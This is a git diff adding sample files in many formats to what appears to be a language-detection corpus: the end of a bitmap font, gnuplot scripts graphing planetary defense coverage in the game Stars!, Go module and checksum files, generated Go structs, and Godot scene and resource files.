+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+20
+40
+F0
+80
+E0
+80
+80
+F0
+ENDCHAR
+STARTCHAR char69
+ENCODING 202
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+70
+80
+80
+E0
+80
+F0
+ENDCHAR
+STARTCHAR char69
+ENCODING 203
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+90
+00
+F0
+80
+E0
+80
+80
+F0
+ENDCHAR
+STARTCHAR char73
+ENCODING 204
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 0
+BITMAP
+80
+40
+E0
+40
+40
+40
+40
+E0
+ENDCHAR
+STARTCHAR char73
+ENCODING 205
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 0
+BITMAP
+20
+40
+E0
+40
+40
+40
+40
+E0
+ENDCHAR
+STARTCHAR char73
+ENCODING 206
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 0
+BITMAP
+40
+A0
+00
+E0
+40
+40
+40
+E0
+ENDCHAR
+STARTCHAR char73
+ENCODING 207
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 0
+BITMAP
+A0
+00
+E0
+40
+40
+40
+40
+E0
+ENDCHAR
+STARTCHAR char68
+ENCODING 208
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 6 1 0
+BITMAP
+70
+48
+E8
+48
+48
+70
+ENDCHAR
+STARTCHAR char110
+ENCODING 209
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+90
+90
+D0
+B0
+90
+90
+ENDCHAR
+STARTCHAR char214
+ENCODING 210
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+40
+20
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 211
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+20
+40
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 212
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 213
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 214
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+90
+00
+60
+90
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char215
+ENCODING 215
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 3 2 2
+BITMAP
+A0
+40
+A0
+ENDCHAR
+STARTCHAR char248
+ENCODING 216
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+10
+70
+B0
+B0
+D0
+D0
+E0
+80
+ENDCHAR
+STARTCHAR char85
+ENCODING 217
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+40
+20
+90
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char85
+ENCODING 218
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+20
+40
+90
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char85
+ENCODING 219
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+00
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char85
+ENCODING 220
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+90
+00
+90
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char89
+ENCODING 221
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 8 1 0
+BITMAP
+10
+20
+88
+88
+50
+20
+20
+20
+ENDCHAR
+STARTCHAR char112
+ENCODING 222
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+80
+80
+E0
+90
+90
+E0
+80
+80
+ENDCHAR
+STARTCHAR char223
+ENCODING 223
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+60
+A0
+A0
+90
+90
+90
+A0
+80
+ENDCHAR
+STARTCHAR char228
+ENCODING 224
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+40
+20
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char228
+ENCODING 225
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+10
+20
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char228
+ENCODING 226
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+20
+50
+00
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char228
+ENCODING 227
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+00
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char228
+ENCODING 228
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+50
+00
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char229
+ENCODING 229
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+20
+50
+20
+60
+10
+70
+90
+70
+ENDCHAR
+STARTCHAR char97
+ENCODING 230
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 6 5 0 0
+BITMAP
+28
+14
+7C
+90
+6C
+ENDCHAR
+STARTCHAR char99
+ENCODING 231
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -2
+BITMAP
+70
+80
+80
+80
+70
+20
+40
+ENDCHAR
+STARTCHAR char101
+ENCODING 232
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+40
+20
+60
+90
+F0
+80
+70
+ENDCHAR
+STARTCHAR char101
+ENCODING 233
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+20
+40
+60
+90
+F0
+80
+70
+ENDCHAR
+STARTCHAR char101
+ENCODING 234
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+00
+60
+90
+F0
+80
+70
+ENDCHAR
+STARTCHAR char101
+ENCODING 235
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+90
+00
+60
+90
+F0
+80
+70
+ENDCHAR
+STARTCHAR char105
+ENCODING 236
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 2 0
+BITMAP
+80
+40
+00
+40
+40
+40
+40
+40
+ENDCHAR
+STARTCHAR char105
+ENCODING 237
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 2 8 3 0
+BITMAP
+40
+80
+00
+80
+80
+80
+80
+80
+ENDCHAR
+STARTCHAR char105
+ENCODING 238
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 8 2 0
+BITMAP
+40
+A0
+00
+40
+40
+40
+40
+40
+ENDCHAR
+STARTCHAR char105
+ENCODING 239
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 3 7 2 0
+BITMAP
+A0
+00
+40
+40
+40
+40
+40
+ENDCHAR
+STARTCHAR char240
+ENCODING 240
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 7 1 0
+BITMAP
+20
+18
+30
+10
+70
+90
+60
+ENDCHAR
+STARTCHAR char110
+ENCODING 241
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+00
+E0
+90
+90
+90
+90
+ENDCHAR
+STARTCHAR char246
+ENCODING 242
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+40
+20
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 243
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+20
+40
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 244
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+00
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char214
+ENCODING 245
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+50
+A0
+00
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char246
+ENCODING 246
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+90
+00
+60
+90
+90
+90
+60
+ENDCHAR
+STARTCHAR char247
+ENCODING 247
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 5 5 1 1
+BITMAP
+20
+00
+F8
+00
+20
+ENDCHAR
+STARTCHAR char248
+ENCODING 248
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -1
+BITMAP
+10
+70
+B0
+90
+D0
+E0
+80
+ENDCHAR
+STARTCHAR char117
+ENCODING 249
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+40
+20
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char117
+ENCODING 250
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+20
+40
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char117
+ENCODING 251
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 0
+BITMAP
+60
+90
+00
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char117
+ENCODING 252
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 0
+BITMAP
+90
+00
+90
+90
+90
+90
+70
+ENDCHAR
+STARTCHAR char121
+ENCODING 253
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+20
+40
+90
+90
+90
+70
+10
+60
+ENDCHAR
+STARTCHAR char112
+ENCODING 254
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 7 1 -1
+BITMAP
+80
+80
+E0
+90
+E0
+80
+80
+ENDCHAR
+STARTCHAR char121
+ENCODING 255
+SWIDTH 600 0
+DWIDTH 6 0
+BBX 4 8 1 -1
+BITMAP
+90
+00
+90
+90
+90
+70
+10
+60
+ENDCHAR
+ENDFONT
diff --git a/samples/Gnuplot/defense_plotter.p b/samples/Gnuplot/defense_plotter.p
new file mode 100644
index 0000000000..1d4d266920
--- /dev/null
+++ b/samples/Gnuplot/defense_plotter.p
@@ -0,0 +1,40 @@
+#
+# defense_plotter.p
+#
+# This is a gnuplot script that creates the graphs for defense values.
+#
+# Defense values are from:
+#
+#   http://wiki.starsautohost.org/wiki/Guts_of_bombing
+#   Author:  Leonard Dickens
+#   Date:  1998/07/17
+#   Forums:  rec.games.computer.stars
+#
+# :author: Brandon Arrendondo
+# :license: MIT
+#
+set terminal pngcairo transparent truecolor font "Arial Bold,10" size 350, 250
+set output "out.png"
+
+set title "Shield Coverage vs. Defense Quantity"
+set grid
+set xrange [0:100]
+set xlabel "Number of Defenses"
+
+set format y '%2.0f%%'
+set yrange [0:100]
+
+set key right bottom
+
+sdi = 0.0099
+missile_battery = 0.0199
+laser_battery = 0.0239
+planetary_shield = 0.0299
+neutron_shield = 0.0379
+
+val = neutron_shield
+
+f(x) = (1.0 - ((1.0 - (val)) ** x)) * 100.0
+g(x) = (1.0 - ((1.0 - (val/2.0)) ** x)) * 100.0
+
+plot f(x) title "Standard" lt rgb "#000080", g(x) title "Smart" lt rgb "#000000"
diff --git a/samples/Gnuplot/defense_plotter.plt b/samples/Gnuplot/defense_plotter.plt
new file mode 100644
index 0000000000..cbf99e0f7d
--- /dev/null
+++ b/samples/Gnuplot/defense_plotter.plt
@@ -0,0 +1,40 @@
+#
+# defense_plotter.plt
+#
+# This is a gnuplot script that creates the graphs for defense values.
+#
+# Defense values are from:
+#
+#   http://wiki.starsautohost.org/wiki/Guts_of_bombing
+#   Author:  Leonard Dickens
+#   Date:  1998/07/17
+#   Forums:  rec.games.computer.stars
+#
+# :author: Brandon Arrendondo
+# :license: MIT
+#
+set terminal pngcairo transparent truecolor font "Arial Bold,10" size 350, 250
+set output "out.png"
+
+set title "Shield Coverage vs. Defense Quantity"
+set grid
+set xrange [0:100]
+set xlabel "Number of Defenses"
+
+set format y '%2.0f%%'
+set yrange [0:100]
+
+set key right bottom
+
+sdi = 0.0099
+missile_battery = 0.0199
+laser_battery = 0.0239
+planetary_shield = 0.0299
+neutron_shield = 0.0379
+
+val = neutron_shield
+
+f(x) = (1.0 - ((1.0 - (val)) ** x)) * 100.0
+g(x) = (1.0 - ((1.0 - (val/2.0)) ** x)) * 100.0
+
+plot f(x) title "Standard" lt rgb "#000080", g(x) title "Smart" lt rgb "#000000"
diff --git a/samples/Go Checksums/filenames/go.sum b/samples/Go Checksums/filenames/go.sum
new file mode 100644
index 0000000000..69fa70a61f
--- /dev/null
+++ b/samples/Go Checksums/filenames/go.sum	
@@ -0,0 +1,12 @@
+cloud.google.com/go v0.34.0 h1:eOI3/cP2VTU6uZLDYAoic+eyzzB9YyGmJ7eIjl8rOPg=
+cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
+golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e h1:bRhVy7zSSasaqNksaRZiA5EEI+Ei4I1nO5Jh72wfHlg=
+golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4 h1:YUO/7uOKsKeq9UokNS62b8FYywz3ker1l1vDZRCRefw=
+golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+google.golang.org/appengine v1.4.0 h1:/wp5JvzpHIxhs/dumFmF7BXTf3Z+dd4uXta4kVyO508=
+google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
\ No newline at end of file
diff --git a/samples/Go Checksums/filenames/go.work.sum b/samples/Go Checksums/filenames/go.work.sum
new file mode 100644
index 0000000000..4a34d06136
--- /dev/null
+++ b/samples/Go Checksums/filenames/go.work.sum	
@@ -0,0 +1,2 @@
+github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI=
+github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M=
diff --git a/samples/Go Module/filenames/go.mod b/samples/Go Module/filenames/go.mod
new file mode 100644
index 0000000000..21113b6289
--- /dev/null
+++ b/samples/Go Module/filenames/go.mod	
@@ -0,0 +1,10 @@
+module golang.org/x/oauth2
+
+go 1.11
+
+require (
+	cloud.google.com/go v0.34.0
+	golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e
+	golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4 // indirect
+	google.golang.org/appengine v1.4.0
+)
\ No newline at end of file
diff --git a/samples/Go Workspace/filenames/go.work b/samples/Go Workspace/filenames/go.work
new file mode 100644
index 0000000000..83a71b44aa
--- /dev/null
+++ b/samples/Go Workspace/filenames/go.work	
@@ -0,0 +1,8 @@
+go 1.19
+
+use (
+	./api
+	./pkg/featureflags
+	./pkg/libhelm
+	./third_party/digest
+)
diff --git a/samples/Go/oapi-codegen.go b/samples/Go/oapi-codegen.go
new file mode 100644
index 0000000000..cfc36400a7
--- /dev/null
+++ b/samples/Go/oapi-codegen.go
@@ -0,0 +1,50 @@
+// Package api provides primitives to interact the openapi HTTP API.
+//
+// Code generated by github.com/deepmap/oapi-codegen DO NOT EDIT.
+package api
+
+// Error defines model for Error.
+type Error struct {
+
+    // Error code
+    Code int32 `json:"code"`
+
+    // Error message
+    Message string `json:"message"`
+}
+
+// NewPet defines model for NewPet.
+type NewPet struct {
+
+    // Name of the pet
+    Name string `json:"name"`
+
+    // Type of the pet
+    Tag *string `json:"tag,omitempty"`
+}
+
+// Pet defines model for Pet.
+type Pet struct {
+    // Embedded struct due to allOf(#/components/schemas/NewPet)
+    NewPet
+    // Embedded fields due to inline allOf schema
+
+    // Unique id of the pet
+    Id int64 `json:"id"`
+}
+
+// FindPetsParams defines parameters for FindPets.
+type FindPetsParams struct {
+
+    // tags to filter by
+    Tags *[]string `json:"tags,omitempty"`
+
+    // maximum number of results to return
+    Limit *int32 `json:"limit,omitempty"`
+}
+
+// AddPetJSONBody defines parameters for AddPet.
+type AddPetJSONBody NewPet
+
+// AddPetRequestBody defines body for AddPet for application/json ContentType.
+type AddPetJSONRequestBody AddPetJSONBody
diff --git a/samples/Godot Resource/Main.tscn b/samples/Godot Resource/Main.tscn
new file mode 100644
index 0000000000..b10276b599
--- /dev/null
+++ b/samples/Godot Resource/Main.tscn	
@@ -0,0 +1,159 @@
+[gd_scene load_steps=20 format=2]
+
+[ext_resource path="res://assets/themes/dark/theme.tres" type="Theme" id=1]
+[ext_resource path="res://src/Main.gd" type="Script" id=2]
+[ext_resource path="res://src/UI/TopMenuContainer.tscn" type="PackedScene" id=3]
+[ext_resource path="res://src/UI/UI.tscn" type="PackedScene" id=4]
+[ext_resource path="res://src/UI/PatternsPopup.tscn" type="PackedScene" id=5]
+[ext_resource path="res://src/UI/BrushesPopup.tscn" type="PackedScene" id=6]
+[ext_resource path="res://src/UI/Dialogs/ImageEffects/ImageEffects.tscn" type="PackedScene" id=7]
+[ext_resource path="res://src/UI/Dialogs/SaveSpriteHTML5.tscn" type="PackedScene" id=8]
+[ext_resource path="res://src/UI/Timeline/FrameProperties.tscn" type="PackedScene" id=9]
+[ext_resource path="res://src/UI/Dialogs/WindowOpacityDialog.tscn" type="PackedScene" id=10]
+[ext_resource path="res://src/UI/Dialogs/SaveSprite.tscn" type="PackedScene" id=11]
+[ext_resource path="res://src/UI/Dialogs/OpenSprite.tscn" type="PackedScene" id=12]
+[ext_resource path="res://src/UI/Dialogs/ManageLayouts.tscn" type="PackedScene" id=13]
+[ext_resource path="res://src/UI/Dialogs/TileModeOffsetsDialog.tscn" type="PackedScene" id=14]
+[ext_resource path="res://src/UI/Dialogs/SplashDialog.tscn" type="PackedScene" id=27]
+[ext_resource path="res://src/UI/Dialogs/CreateNewImage.tscn" type="PackedScene" id=28]
+[ext_resource path="res://src/Preferences/PreferencesDialog.tscn" type="PackedScene" id=32]
+[ext_resource path="res://src/UI/Dialogs/AboutDialog.tscn" type="PackedScene" id=34]
+[ext_resource path="res://src/UI/Dialogs/ExportDialog.tscn" type="PackedScene" id=39]
+
+[node name="Control" type="Control"]
+anchor_right = 1.0
+anchor_bottom = 1.0
+theme = ExtResource( 1 )
+script = ExtResource( 2 )
+__meta__ = {
+"_edit_horizontal_guides_": [  ],
+"_edit_vertical_guides_": [  ]
+}
+
+[node name="MenuAndUI" type="VBoxContainer" parent="."]
+anchor_right = 1.0
+anchor_bottom = 1.0
+custom_constants/separation = 0
+__meta__ = {
+"_edit_use_anchors_": false
+}
+
+[node name="TopMenuContainer" parent="MenuAndUI" instance=ExtResource( 3 )]
+
+[node name="UI" parent="MenuAndUI" instance=ExtResource( 4 )]
+anchor_right = 0.0
+anchor_bottom = 0.0
+margin_top = 28.0
+margin_right = 1280.0
+margin_bottom = 720.0
+
+[node name="Dialogs" type="Control" parent="."]
+mouse_filter = 2
+__meta__ = {
+"_edit_use_anchors_": false
+}
+
+[node name="ImageEffects" parent="Dialogs" instance=ExtResource( 7 )]
+
+[node name="BrushesPopup" parent="Dialogs" instance=ExtResource( 6 )]
+
+[node name="PatternsPopup" parent="Dialogs" instance=ExtResource( 5 )]
+
+[node name="SplashDialog" parent="Dialogs" instance=ExtResource( 27 )]
+
+[node name="CreateNewImage" parent="Dialogs" instance=ExtResource( 28 )]
+
+[node name="OpenSprite" parent="Dialogs" instance=ExtResource( 12 )]
+window_title = "Open File(s)"
+mode = 1
+
+[node name="SaveSprite" parent="Dialogs" instance=ExtResource( 11 )]
+margin_left = 108.0
+margin_top = 40.0
+margin_right = 623.0
+margin_bottom = 388.0
+
+[node name="SaveSpriteHTML5" parent="Dialogs" instance=ExtResource( 8 )]
+
+[node name="ExportDialog" parent="Dialogs" instance=ExtResource( 39 )]
+
+[node name="PreferencesDialog" parent="Dialogs" instance=ExtResource( 32 )]
+
+[node name="ManageLayouts" parent="Dialogs" instance=ExtResource( 13 )]
+
+[node name="AboutDialog" parent="Dialogs" instance=ExtResource( 34 )]
+
+[node name="UnsavedCanvasDialog" type="ConfirmationDialog" parent="Dialogs"]
+margin_right = 467.0
+margin_bottom = 70.0
+window_title = "Unsaved Image"
+dialog_text = "You have unsaved changes. If you proceed, the progress you have made will be lost."
+
+[node name="QuitDialog" type="ConfirmationDialog" parent="Dialogs"]
+margin_right = 243.0
+margin_bottom = 70.0
+resizable = true
+dialog_text = "Are you sure you want to exit Pixelorama?"
+
+[node name="QuitAndSaveDialog" type="ConfirmationDialog" parent="Dialogs"]
+margin_right = 330.0
+margin_bottom = 70.0
+window_title = "Save before exiting?"
+resizable = true
+dialog_text = "You have unsaved progress. How do you wish to proceed?"
+__meta__ = {
+"_edit_use_anchors_": false
+}
+
+[node name="ErrorDialog" type="AcceptDialog" parent="Dialogs"]
+margin_right = 151.0
+margin_bottom = 60.0
+window_title = "Error"
+dialog_text = "This is an error message!"
+
+[node name="BackupConfirmation" type="ConfirmationDialog" parent="Dialogs"]
+margin_right = 200.0
+margin_bottom = 88.0
+popup_exclusive = true
+resizable = true
+dialog_text = "Autosaved project(s) from a crashed session were found.
+Do you want to recover the data?"
+dialog_autowrap = true
+
+[node name="FrameProperties" parent="Dialogs" instance=ExtResource( 9 )]
+
+[node name="WindowOpacityDialog" parent="Dialogs" instance=ExtResource( 10 )]
+
+[node name="TileModeOffsetsDialog" parent="Dialogs" instance=ExtResource( 14 )]
+
+[node name="Extensions" type="Control" parent="."]
+__meta__ = {
+"_edit_use_anchors_": false
+}
+
+[node name="LeftCursor" type="Sprite" parent="."]
+visible = false
+
+[node name="RightCursor" type="Sprite" parent="."]
+visible = false
+
+[connection signal="popup_hide" from="Dialogs/SplashDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/CreateNewImage" to="." method="_can_draw_true"]
+[connection signal="files_selected" from="Dialogs/OpenSprite" to="." method="_on_OpenSprite_files_selected"]
+[connection signal="popup_hide" from="Dialogs/OpenSprite" to="." method="_on_OpenSprite_popup_hide"]
+[connection signal="file_selected" from="Dialogs/SaveSprite" to="." method="_on_SaveSprite_file_selected"]
+[connection signal="popup_hide" from="Dialogs/SaveSprite" to="." method="_can_draw_true"]
+[connection signal="confirmed" from="Dialogs/SaveSpriteHTML5" to="." method="_on_SaveSpriteHTML5_confirmed"]
+[connection signal="popup_hide" from="Dialogs/SaveSpriteHTML5" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/ExportDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/PreferencesDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/AboutDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/UnsavedCanvasDialog" to="." method="_can_draw_true"]
+[connection signal="confirmed" from="Dialogs/QuitDialog" to="." method="_on_QuitDialog_confirmed"]
+[connection signal="popup_hide" from="Dialogs/QuitDialog" to="." method="_can_draw_true"]
+[connection signal="confirmed" from="Dialogs/QuitAndSaveDialog" to="." method="_on_QuitAndSaveDialog_confirmed"]
+[connection signal="custom_action" from="Dialogs/QuitAndSaveDialog" to="." method="_on_QuitAndSaveDialog_custom_action"]
+[connection signal="popup_hide" from="Dialogs/QuitAndSaveDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/ErrorDialog" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/BackupConfirmation" to="." method="_can_draw_true"]
+[connection signal="popup_hide" from="Dialogs/BackupConfirmation" to="." method="_on_BackupConfirmation_popup_hide"]
diff --git a/samples/Godot Resource/Server.gdns b/samples/Godot Resource/Server.gdns
new file mode 100644
index 0000000000..a3a0457405
--- /dev/null
+++ b/samples/Godot Resource/Server.gdns	
@@ -0,0 +1,8 @@
+[gd_resource type="NativeScript" load_steps=2 format=2]
+
+[ext_resource path="res://client_server_library.gdnlib" type="GDNativeLibrary" id=1]
+
+[resource]
+resource_name = "Server"
+class_name = "Server"
+library = ExtResource( 1 )
\ No newline at end of file
diff --git a/samples/Godot Resource/default.tres b/samples/Godot Resource/default.tres
new file mode 100644
index 0000000000..e0fd61c55c
--- /dev/null
+++ b/samples/Godot Resource/default.tres	
@@ -0,0 +1,145 @@
+[gd_resource type="Resource" load_steps=23 format=2]
+
+[ext_resource path="res://addons/dockable_container/layout.gd" type="Script" id=1]
+[ext_resource path="res://addons/dockable_container/layout_panel.gd" type="Script" id=2]
+[ext_resource path="res://addons/dockable_container/layout_split.gd" type="Script" id=3]
+
+[sub_resource type="Resource" id=1]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Tools" )
+current_tab = 0
+
+[sub_resource type="Resource" id=2]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Main Canvas" )
+current_tab = 0
+
+[sub_resource type="Resource" id=3]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Second Canvas" )
+current_tab = 0
+
+[sub_resource type="Resource" id=4]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 0
+percent = 0.980952
+first = SubResource( 2 )
+second = SubResource( 3 )
+
+[sub_resource type="Resource" id=5]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Animation Timeline" )
+current_tab = 0
+
+[sub_resource type="Resource" id=6]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 1
+percent = 0.90625
+first = SubResource( 4 )
+second = SubResource( 5 )
+
+[sub_resource type="Resource" id=7]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Canvas Preview" )
+current_tab = 0
+
+[sub_resource type="Resource" id=8]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Color Pickers" )
+current_tab = 0
+
+[sub_resource type="Resource" id=9]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Global Tool Options" )
+current_tab = 0
+
+[sub_resource type="Resource" id=10]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 1
+percent = 0.5
+first = SubResource( 8 )
+second = SubResource( 9 )
+
+[sub_resource type="Resource" id=11]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 1
+percent = 0.85514
+first = SubResource( 7 )
+second = SubResource( 10 )
+
+[sub_resource type="Resource" id=12]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Left Tool Options" )
+current_tab = 0
+
+[sub_resource type="Resource" id=13]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Right Tool Options" )
+current_tab = 0
+
+[sub_resource type="Resource" id=14]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 0
+percent = 0.5
+first = SubResource( 12 )
+second = SubResource( 13 )
+
+[sub_resource type="Resource" id=15]
+resource_name = "Tabs"
+script = ExtResource( 2 )
+names = PoolStringArray( "Palettes" )
+current_tab = 0
+
+[sub_resource type="Resource" id=16]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 1
+percent = 0.697987
+first = SubResource( 14 )
+second = SubResource( 15 )
+
+[sub_resource type="Resource" id=17]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 1
+percent = 0.348266
+first = SubResource( 11 )
+second = SubResource( 16 )
+
+[sub_resource type="Resource" id=18]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 0
+percent = 0.73
+first = SubResource( 6 )
+second = SubResource( 17 )
+
+[sub_resource type="Resource" id=19]
+resource_name = "Split"
+script = ExtResource( 3 )
+direction = 0
+percent = 0.0
+first = SubResource( 1 )
+second = SubResource( 18 )
+
+[resource]
+resource_name = "Layout"
+script = ExtResource( 1 )
+root = SubResource( 19 )
+hidden_tabs = {
+"Second Canvas": true
+}
diff --git a/samples/Godot Resource/filenames/project.godot b/samples/Godot Resource/filenames/project.godot
new file mode 100644
index 0000000000..84e9599001
--- /dev/null
+++ b/samples/Godot Resource/filenames/project.godot	
@@ -0,0 +1,50 @@
+; Engine configuration file.
+; It's best edited using the editor UI and not directly,
+; since the parameters that go here are not all obvious.
+;
+; Format:
+;   [section] ; section goes between []
+;   param=value ; assign values to parameters
+
+config_version=4
+
+[application]
+
+config/name="Game Pad Client"
+run/main_scene="res://JoinServer/JoinServerControl.tscn"
+boot_splash/image="res://Images/Background.png"
